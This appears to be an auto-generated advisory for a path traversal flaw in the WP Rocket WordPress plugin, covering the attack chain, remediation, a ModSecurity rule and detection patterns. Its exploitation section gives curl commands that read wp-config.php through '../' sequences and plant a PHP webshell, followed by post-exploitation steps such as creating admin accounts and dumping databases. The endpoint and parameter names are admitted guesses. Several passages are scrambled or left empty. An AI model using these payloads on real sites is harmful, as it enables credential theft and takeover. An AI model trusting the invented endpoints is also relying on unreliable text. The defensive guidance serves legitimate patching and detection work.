CVE-2026-125812 — WP Media WP Rocket (3.24.2) — CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Media WP Rocket wp-rocket allows Path Traversal.This issue affects WP Rocket: from n/a before 3.24.2.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Media WP Rocket wp-rocket allows Path Traversal.This issue affects WP Rocket: from n/a before 3.24.2.
🎯 What is this vulnerability?
This vulnerability is a classic Path Traversal (CWE-22) flaw within the WP Rocket WordPress plugin, specifically affecting versions prior to 3.24.2.
Technical Flaw Analysis:
The core issue lies in the improper sanitization and validation of file path inputs. WP Rocket, a caching and optimization plugin, likely processes file paths for cache clearing, asset minification, or log management. The vulnerability indicates that an input parameter (likely a filename or directory path) is concatenated into a system file operation (such as file_get_contents, fopen, unlink, or readfile) without adequately restricting the path to a specific, safe directory (e.g., wp-content/cache/).
Missing Controls:
1. Canonicalization: The application fails to resolve relative path components (../) before checking if the path is within the allowed directory.
2. Base Directory Enforcement: There is no strict enforcement that the final resolved path must start with the intended base directory (e.g., ABSPATH . 'wp-content/cache/').
3. Input Validation: The input is not validated against a whitelist of allowed characters or patterns, allowing null bytes (if PHP version permits) or directory traversal sequences to pass through.
CVSS Vector Interpretation (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H):
- AV:N (Network): Exploitable remotely over the network.
- AC:L (Low Complexity): No special conditions required; the payload is straightforward.
- PR:N (No Privileges): Unauthenticated access is sufficient. This is critical, meaning any visitor can trigger the vulnerability.
- UI:N (No User Interaction): No user action (like clicking a link) is needed.
- S:U (Unchanged Scope): The vulnerable component and the impacted component are the same (the web server/PHP process).
- C:H/I:H/A:H (High Impact): The vulnerability allows for full compromise of Confidentiality, Integrity, and Availability. This suggests the path traversal can be leveraged to read sensitive files (like
wp-config.phpfor database credentials) and potentially write to arbitrary locations if the underlying function supports writing (e.g., via a cache file creation mechanism), leading to Remote Code Execution (RCE). - Fingerprinting: The attacker identifies that the target is running WordPress and has the WP Rocket plugin installed. * Check for
- Version Verification: Confirm the version is
< 3.24.2.
⚡ Attack Chain
1. Discovery & Reconnaissance
wp-content/plugins/wp-rocket/ in the source code or via directory listing.
* Look for specific headers or cookies set by WP Rocket (e.g., wpr- prefixed cookies).
* Check the plugin version via the readme.txt file if accessible: /wp-content/plugins/wp-rocket/readme.txt.
2. Exploitation
Note: The exact endpoint and parameter name are not explicitly stated in the CVE description. The following is an illustrative example of how such a vulnerability is typically exploited in WordPress plugins. In practice, the attacker would need to identify the specific AJAX action or REST API endpoint that handles file operations.Hypothesized Vulnerable Endpoint:
Many WordPress plugins use admin-ajax.php for background tasks. A common pattern for cache clearing or file manipulation is an action like wp_rocket_clear_cache or wp_rocket_process_file.
Illustrative PoC (curl):
Assume the vulnerable parameter is file_path in an unauthenticated AJAX call (or a public REST endpoint if exposed).
# Illustrative Example: Attempting to read wp-config.php
# The payload uses ../ to traverse up from the expected cache directory to the WordPress root.
# The exact path depends on the base directory used in the vulnerable code.
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=wp_rocket_vulnerable_action&file_path=../../../../wp-config.php"Alternative: Direct File Inclusion via Cache Busting
If the plugin exposes a direct file handler for cache files:
# Illustrative Example: Reading a file via a direct request
# Assuming the plugin has a route like /wp-content/plugins/wp-rocket/assets/cache.php?file=...
curl "https://target.com/wp-content/plugins/wp-rocket/assets/cache.php?file=../../../../wp-config.php"Key Exploitation Mechanics:
1. Path Traversal: The ../../../../ sequence moves the file pointer up the directory tree.
2. Target File: wp-config.php contains database credentials (DB_USER, DB_PASSWORD, DB_NAME).
3. Potential RCE: If the vulnerable function writes to the file (e.g., saving a cache file), the attacker can upload a PHP webshell:
# Illustrative Example: Writing a webshell
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=wp_rocket_vulnerable_action&file_path=../../../../shell.php&content=<?php system($_GET['cmd']);?>"3. Post-Exploitation
1. Credential Theft: ExtractDB_USER and DB_PASSWORD from wp-config.php.
2. Database Access: Use the credentials to connect to the MySQL/MariaDB database.
3. Privilege Escalation:
* Modify the wp_users table to change the user_pass hash of the admin account to a known hash.
* Or, insert a new user with the administrator role in wp_usermeta.
4. RCE (if write access is available):
* Upload a PHP webshell to a writable directory (e.g., wp-content/uploads/).
* Execute system commands via the webshell to install persistence mechanisms, mine cryptocurrency, or pivot to other internal systems.
5. Data Exfiltration: Dump the entire database, including user emails, passwords (hashed), and private content.🌍 Real World Impact
wp-config.php, theme files) leading to site downtime.
* Resource exhaustion via malicious cache operations.
* Database corruption or locking.Practical Consequences:
🛡️ Remediation & Mitigation
1. Immediate Patching
Plugins > Installed Plugins in the WordPress admin.
* Click "Update Now" for WP Rocket.
* Alternatively, download the latest version from the WP Rocket website and upload it via FTP.2. Workarounds (If Immediate Update is Not Possible)
Plugins > Installed Plugins > WP Rocket > Deactivate
SecRule REQUEST_URI|ARGS "@rx \.\./" \
"id:100001,phase:1,deny,status:403,msg:'Path Traversal Attempt Detected',log"* Cloudflare: Enable "Block Common Exploits" and "Path Traversal" rules.
* Ensure the web server user (e.g.,
www-data) does not have write permissions to sensitive directories like wp-content/plugins/ or wp-includes/.* Make
wp-config.php read-only for the web server user if possible (though this may break some functionality).3. Detection & IoCs
../ or ..%2f in the query string or POST body.
* Example log pattern:GET /wp-admin/admin-ajax.php?action=wp_rocket_vulnerable_action&file_path=../../../../wp-config.php HTTP/1.1* Monitor for unusual file access patterns in the web server's access logs.
* Use tools like
auditd (Linux) or Sysmon (Windows) to monitor for unexpected file reads/writes by the web server process.* Look for new PHP files in writable directories (e.g.,
wp-content/uploads/, wp-content/cache/).* Monitor for unexpected changes to the
wp_users and wp_usermeta tables.* Look for new users with the
administrator role.⚠️ Urgency
Patching Priority: CRITICAL / IMMEDIATE
FOFA Query